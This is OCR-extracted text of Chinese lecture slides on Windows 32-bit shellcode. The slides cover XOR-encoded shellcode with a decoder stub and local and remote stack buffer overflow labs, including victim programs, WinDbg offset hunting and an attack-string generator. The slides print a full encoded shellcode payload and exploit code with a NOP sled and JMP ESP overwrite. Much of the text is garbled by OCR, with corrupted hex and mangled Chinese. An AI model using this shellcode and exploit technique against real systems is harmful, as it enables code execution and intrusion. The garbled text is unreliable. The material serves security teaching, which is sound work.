"\Xbe\xf2\x75\xbe\xe2\x75\xfe\x75\xbe\xf6\x3d\x 75\xbd\xc2\x75\xba"
"\xe6\x86\xfd\x3d\x75\x0e\x 75\xb0\xe6\x 75\xb8\xde\xfd\x3d\x 75\xba"
"\x76\x02\xfd\x3d\xa9\x75\x06\x 16\xe9\xfe\xfe\xfe\xallxcS\x3c\x8a"
"\Xf8\x1c\x18\xcd\x3e\x15\xf5\x 75\xb8\xe2\xfd\x3d\x 75\xba\x 76\x02"
"\xfd\x3d\x3d\xad\xaf\xac\xa9\xcd\x2c\xf1\x40\xfo\x 7d\x06\xfe\x8a"
"\xed\x75\x24\x 75\x34\x3f\x 1d\xe 7\x3f\x 1 7\xfO\xf5\x27\x 75\x2d\xfd"
"\x2e\xb9\x15\x1b\x75\x3c\xal\xad\xa7\xa5\x3d";

51



£]11-3 SC A BJshellcode

* Zmt5ja Ayshellcode T E7E B iR R FAEAL /R T REHLTT, AUIFE
B ERMAIMEEZR, WEFTAIshellcode, W TEPTR:

<« 7 iR g 1) N 55—
\ \4
frRh R ZmhY J5 i shellcode
A< ¥rHIshellcode »‘

AT AR L 25 R b

Windows32 Shellcode



GetShellcode.cpp

7E4R 70 5 shellcode > BN I fRALFE &

ML 4wiE = LI R EEE

FFEYThEE, BLEEI T W TR T
R\ 1256 / MmN KE
5b\x53\x4b\x33\xcO\xb1\xFF"

v'shellcodey4< E /T

256

%3 | unsigned char decodel[] =

v'shellcode 1< B A F255

unsigned char decode2[] =

[ X X
mﬁf\xe2\Xfa\xc3\xe8\xed\xff\xff\xff"

F255, /\F65536:
: _ /[ FRRRIKE
"\xeb\x10\x5b\x53\x4b\x33\xc9\x66\xb9\xDD\xFF"

"\x80\x34\x0b\xEE\xe2\xfa\xc3\xe8\xeb\xff\xff\xff":

Wi

s
ot

11.3.3 jEl’jshellcode[él
%’Eﬂd ecode2 f#fL
-+

=

\XEEZ A \XFE , 3j<1a=l§l’]%

Windows32 Shellcode

';ﬁ&

10 Dll?%ﬂ’]\xDD\ FF E)‘Uj\x0 \x01, ¥

7267=0x10b, ZRA8 15 XorByte=0xfe, [A]

lig
15

X

frshellcode /5

53



GetShellcode.cpp
—/NSC Hshellcode

/] TNt LR
if(encode_len<256){// FHdecodelf##Y

printf("\n\nlength of shellcode = %d = 0x%x\n",strlen(shellcode),strlen(shellcode));
PrintStrCode((unsigned char*)shellcode, strlen(shellcode));
doShellcode(shellcode);

» FHdoShellcode(shellcode) o] MG E E IHRERY IEFR 14 o
cl GetShellcode.cpp
GetShellcode.exe

« LI FE B Z2TNEEAYshellcodeth iz BT EH T
« TEIFEF Il GetShellcode.cpp,

Windows32 Shellcode 54



4+ 4213 Hl< BF
length of shellcode = 290 = 0x122 17%4:62’ El] -[KE

hn L ##4072 Fr fashellcode ) — i 11X 45

[* 290=0x122 bytes */ /
"\xeb\x10\x5b\x53\x4b\x33\xc9\x66\xb9\x0b\x01\x80\x34\x0b\xFe\xe2"
"\xfa\xc3\xe8\xeb\xfixfixfixcd\x3e\xae\x96\x9b\x86\x9b\xfe\x 96"
"\x8e\x9f\x9a\xd0\x96\x90\x91\x8a\x9b\x 75\x02\x96\xa9\x98\xf3\x01"
"\x96\x9d\x77\x2f\xb1\x96\x37\x42\x58\x95\xa4\x16\xa8\xfe\xfe\xfe"
"\x75\x0e\xa4\x16\xb0\xfe\xfe\xfe\x75\x26\x16\xfb\xfe\xfe\xfe\x17"
"\x30\xfe\xfe\xfe\xaf\xac\xa8\xa9\xab\x75\x12\x75\x29\x7d\x12\xaa"
"\x75\x02\x94\xea\xa7\xcd\x3e\x77\xfa\x71\x1c\x05\x38\xb9\xee\xba"
"\x73\xb9\xee\xa9\xae\x94\xfe\x94\xfe\x94\xfe\x94\xfe\x94\xfe\x94"
"\xfe\xac\x94\xfe\x01\x28\x7d\x06\xfe\x8a\xfd\xae\x01\x2d\x75\x 1b"
"\xa3\xal\xa0\xa4\xa7\x3d\xa8\xad\xaf\xac\x16\xef\xfe\xfe\xfe\x7d"
"\x06\xfe\x80\xfI\x75\x26\x16\xe9\xfe\xfe\xfe\xad\xa7\xa5\xa0\x3d"
"\x9a\x5f\xce\xfe\xfe\xfe\x75\xbe\xf2\x75\xbe\xe2\x75\xfe\x75\xbe"
"\xf6\x3d\x75\xbd\xc2\x75\xba\xe6\x86\xfd\x3d\x75\x0e\x 75\xb0\xe6"
"\x75\xb8\xde\xfd\x3d\x75\xba\x76\x02\xfd\x3d\xa9\x75\x06\x16\xe9"
"\xfe\xfe\xfe\xal\xc5\x3c\x8a\xf8\x1c\x18\xcd\x3e\x15\xf5\x 75\xb8"
"\xe2\xfd\x3d\x75\xba\x76\x02\xfd\x3d\x3d\xad\xaf\xac\xa9\xcd\x2c"
"\xf1\x40\xf9\x7d\x06\xfe\x8a\xed\x75\x24\x75\x34\x3f\x 1d\xe 7\x 3"
"\x17\xfO\xf5\x27\x75\x2d\xfd\x2e\xb9\x15\x 1b\x 75\x3c\xal\xad\xa7"
"\xa5\x3d";

Windows32 Shellcode

miDF T

]BYshellcode
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11.4 W HWin32

* W E R E T BE B9shellcode 2 fF, E B] IS 1K B Windows
IR X R RIE .

. NRARFREFFNNREITIT 7N TSR E YR,
E%Tﬁ¢&m NEFEEXREE RENHEEFRIT
s e&wauéﬁ;%mﬁﬁﬁ%,wmﬁﬁﬁ\%ﬁw

FREEI .




11.4.1 AHI T

Iy

" EXEHARAREPHNEBEBNRAE

Administrator (Administatorsﬁﬂ

system (BRESHFEEH HIRR) AR B 3ER2 DR EHR 7,

PR, ‘BZ?I%'J H *T%\f)bo

N&E o] 81 FT7shellcode,

1 fE

o JNERFFEM X IR EFE S M IR IE A

o Ui A B &

~REH

J=h _SZAdmlmstratorJ

1 ) =X

] P HIX

RS EE, BEFatimE,

s MRARMNL KB PN, LEEZERBAFRE

YEH 1Tshellcode, X8 A HAshellcodeF
| FRXE X F R N AR & H

X

5, R

HA BT EROFH,



E ¥indows 5 5HE - 0] x|
MR D) FF V) RERDH
K~~~ = N TO
mAEE #E e =R | RR | ° £ Hp_(l [: \ 17 F=E ;Z[]
__________________________ S ECTIRGIT __ : Z|11-4p 7R
b = Adminmistr 3 = ©
explorer. exe 2464 Administrator 0o oo 0:00:00 15 oo K 110
VBoxTray. exe 2592 Administrator o oo 0:00:00 4,000 K 24 :E I:P E/J re O er
ctfmon. exe 2640 Administrator 0o oo 0:00:00 2,956 K 12 [ ] I I I t
mme. exe 2T36 Administratoer 0o oo 0:00:01 15, 460 K 126 /_\E
cmd. exe 3440 Administrator o oo 0:00:00 1,945 K 1
conime. exe 3472 Adninistrator 0 00 00000 2524 K 13 Adl | ||n |Stators QH E/J Fﬁ
rdpelip. exe 3396 fanping 3 oo 0:00:00 3,524 K 0
explorer. exe 392 fanping 3 oo 0:00:00 11,485 K 0 E /""'
ctfmon. exe 3954 fanping 3 oo 0:00:00 3,148 K 0 ’ I
VBoxTr ay. exe 4080  fanping 3 00 0:00:00 3,600 K u]
svchost. exe 828 LOCAL SERVICE o oo 0:00:00 3,72 K 0 . N
svchost. exe 1424 LOCAL SERVICE o oo 0:00:00 1,316 K ] fan in | E_ 7 %
alg. axe 1945 LOCAL SERVICE o oo 00000 3,020 K u] p g / \ 7~ E 1
svchost. exe T40 HETWORE SEERVICE o oo 0:00:00 3,588 K 0 ~
svchost. exe 800 HETWORE SERVICE o oo 0:00:00 4,304 K 0 |- X
msdte. exe 1065 HETWORE SERVICE o oo 0:00:00 4,252 K 0 (e]
sglservr. exe 1296 HETWORE SERVICE o oo 0:00:00 1,204 K 0
WMIPrvEe, exe 3300 HWETWORE SERVICE o oo 0:00:00 5,228 K u]
explorer. exe 348 remoter 2 0o 0:00:00 12,916 K 0
ctfmon. exe TT2 remoter 2 0o 0:00:00 3,160 K 0
VBoxTray. exe 1000 remoter 2 0o 0:00:00 3,092 K 0
taskmar. exe 1104 remoter 2 0o 0:00:00 4,520 K 0 SN, A
rdpelip. exe 4056 remoter 00 0:00:00 3528 K 0 ‘E JEH [/X \ FIF /‘\;EI: E
System Idle F. .. 0 SYSTEM o 99 0:11:29 16 K 0 / 2 _—
System 4 SYSTEM o oo 0:00:01 272 K 0 % Eljf
SMES. eXe 300 SYSTEM o oo 00000 460 K u] F
csrss. exe 352 SYSTEM 0 oo 0:00:01 5,904 K 0 ~ =R
R, [P TR CYSTEM nonn -0 -0 A aTe W 12
W RTHERPMEE S sRER® | net user username
R 48 CPU R 0% B z1em / 125TH | J

E11-4 Windows & 5 /b {14 £ 72

Windows32 Shellcode 58



HiRIERFEFw32Lvictim.cpp

- HiREREFRW32Lvictim.cppE g2l T

* {ix x remoter 1@ 1J iz 72 #define LARGE_BUFF_LEN 1024
REExXE R ,}E e #define BUFF_LEN 512
fanplng ERORAE R void overflow(char largebuf[])
S ?\,Juo { char buffer[BUFF _LEN]; strcpy(buffer, largebuf); }
Ik 117118 = remoter iz 17 \{/0|d smash_buffer()
— N N2 N =N =
ﬁ;éﬁgg % g}g gg char largebuf[LARGE_BUFF LEN+1]; FILE *badfile;
B iz R TEiE badfile = fopen("attackstr.data", "r");
7|‘X BRAATER. N fread( largebuf, sizeof(char),
i )ﬂ f: fanping of #& LARGE_BUFF_LEN, badfile);
INAR T HEBNR AT fclose(badfile);
SR largebuf[LARGE_BUFF_LEN]=0

overflow(largebuf); // smash it and run shellcode.



i © R A% OFF SET

- remoter F§ F %% ¥ M iz 17
w32Lvictim.cpp.

VB o /Fd IZi  IGS-
w32Lvictim.cppRIFRRF .

v HWinDbg R Ezw32L victim.exe
LR

v 8] [ 40 3E buffer 53R [ #b HE (Y
RF%0OFF SET=516=0x204,

Windows32 Shellcode

0:000> u overflow

wa32Lvictim!overflow [c:\work\ns\ch11\src\w32lvictim.cpp @ 17]:
00401030 55 push ebp

00401044 e8d7000000  call wa32Lvictim!strcpy (00401120)
0:000> bp overflow

0:000> bp overflow+0x14

0:000> g

0:000> dd esp

0012fb5c 004010ca 0012fb68 00424068 b6fdc720

0:000> g

0:000> dd esp

0012f950 0012f958 0012fb68 7¢959e17 0012f9d0

0:000> ? 0012fb5c - 0012958

Evaluate expression: 516 = 00000204

60



B U B ITER UG E
attackstr.datapy N & .

2 - w32Lattack.cpp B9 4% 10 AL 7
T, p& #xvoid GetAttackBuffer()

SN

IR T AR AL

void GetAttackBuffer()

{

char attackStr[ATTACK _BUFF_LEN];
unsigned long *ps;

FILE *badfile;

memset(attackStr, 0x90, ATTACK _BUFF _LEN);
ps = (unsigned long *)(attackStr + OFF _SET);
*(ps) = JUMPESP;
strcpy(attackStr+OFF_SET+4, shellcode);
attackStrfATTACK _BUFF _LEN - 1] =0;
badfile = fopen("attackstr.data", "w");
fwrite(attackStr, strlen(attackStr), 1, badfile);
fclose(badfile);



T8 A P AR SO, BEw32Llvictim.exe fYRIE

-’

& @ M P fanping 8 F Mz 7 - EMA (LW /M_:T—FEJ\ 48 {9 remoter) 3= 1T
w32Lattack.cpp , B & px X & w32Lvictim. exe): . Bal—

attackstr.data, NN EFERHE, ZZEI 2o
8. 192.168.86.130 - iTEEEEE - x
cl w32Lattack.cpp ] |
C:\%g%é\gs;ggééggircféd:::mfu
WBZLattack.exe e oo
d|r *data C:\work\ns\chl1 [ HF
2021'11'29 1510 807 attaCkStrdata 2021-11-29 15:1BA 20T MgggthNgE]B:;UCS\-Fanping att
N = = 1 807 =1
14X 807 FT 0 f’%\%% 129, 491 ,sza,suqiﬂﬂ%$4ﬁ

C:Zworkns\chl1>w32Luictim.exe

Smash a buffer with 807 bytes. [LERZ-IREES =] E3

IO SEE BRo FEW B
=

C:vworkxynsywchll>

;ﬁaﬂtﬁ' & B B B visual swdio 2008 [0 FFE - mE
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IO

FR MRIWEATN, 1F1FER R Aw32Lattack.cop F HJJUMPESP
AFEH, XEEHWinDbgiFiftw32Lvictim.exe @ E, 1F0110.370
HAA

c AW EBERBEBEBRAR LT 1T EANAR. MRITA
EERARFRLERE—TEZAR, W DMERZERE A




11.4.2 iInf2 &

#

define BUFFER_LEN 128

void overflow(char* attackStr)

{

}

char buffer[BUFFER _LEN];
strcpy(buffer, attackStr);

X, fZMRAR A

s MBENTMNA—8FV BRI MNE AL EEFIREE ML,

* BT ZEEREIEEANHE BRAGNEEZAPYNR, B EESE.
IENTNEREESAMNGEMERERN, RATHEREES

. 1_§|1J5.5§W32Rvictim.cppM & I EIEE, AEEGIEIZE



w32Rvictim.exe 7

OFF SET=132=0x84,

2 B i A

Windbg w32Rvictim.exe 5060

« TEIL O] MBS

TﬁAﬁ FE O RETT

RIS @EK%

Windows32 Shellcode

T o

FHAA,

« FHcl /Zi /GS- w32Rvictim.cpp 28 F= & &, 3t FH WinDbg iR R
o] [} 40 i& buffer 5 1% [8] i 4 79 1R 75

27 Il w32Rattack.cpp,

w32Rvictim.exe Flw32Rattack.exe, Ml
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v ¥isnal Studie 2008 Command Frompt _IDIEI

C:\work\ns\bin>w32Ruictim.exe 5060
Waiting for client to connect TCP:5060 ... —
Client connected.

[AcceptSocket ID = 774
Read 423 bytes

M) #RiEE BF.0 EFF W R

IC : \work\ns\bin>
L |

i
C:\work\ns\bin>w32Rattack.exe
Usage: w32Rattack.exe Target IP TCP-Port-Number.

IC:\work\ns\bin>w32Rattack.exe 127.0.0.1 5060

[ConnectSocket ID = 784
Send 423 bytes to target

d

ﬂfﬁﬁﬁl ﬁ @' c: | BN 2 findows Command . .. *lj Toiral - iEEE | ELQQEE 19:09
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1

|14

732\ /Windows7?

YO L

PIRSHREINE:
32 Windows 74 /A [X J4t ) I ifE]
— N B5finotepad.exefshellcode
PERERAXY BAT
https://mp.weixin.qg.com/s/n-61JA4t2QZg1Mu5IP0zUw
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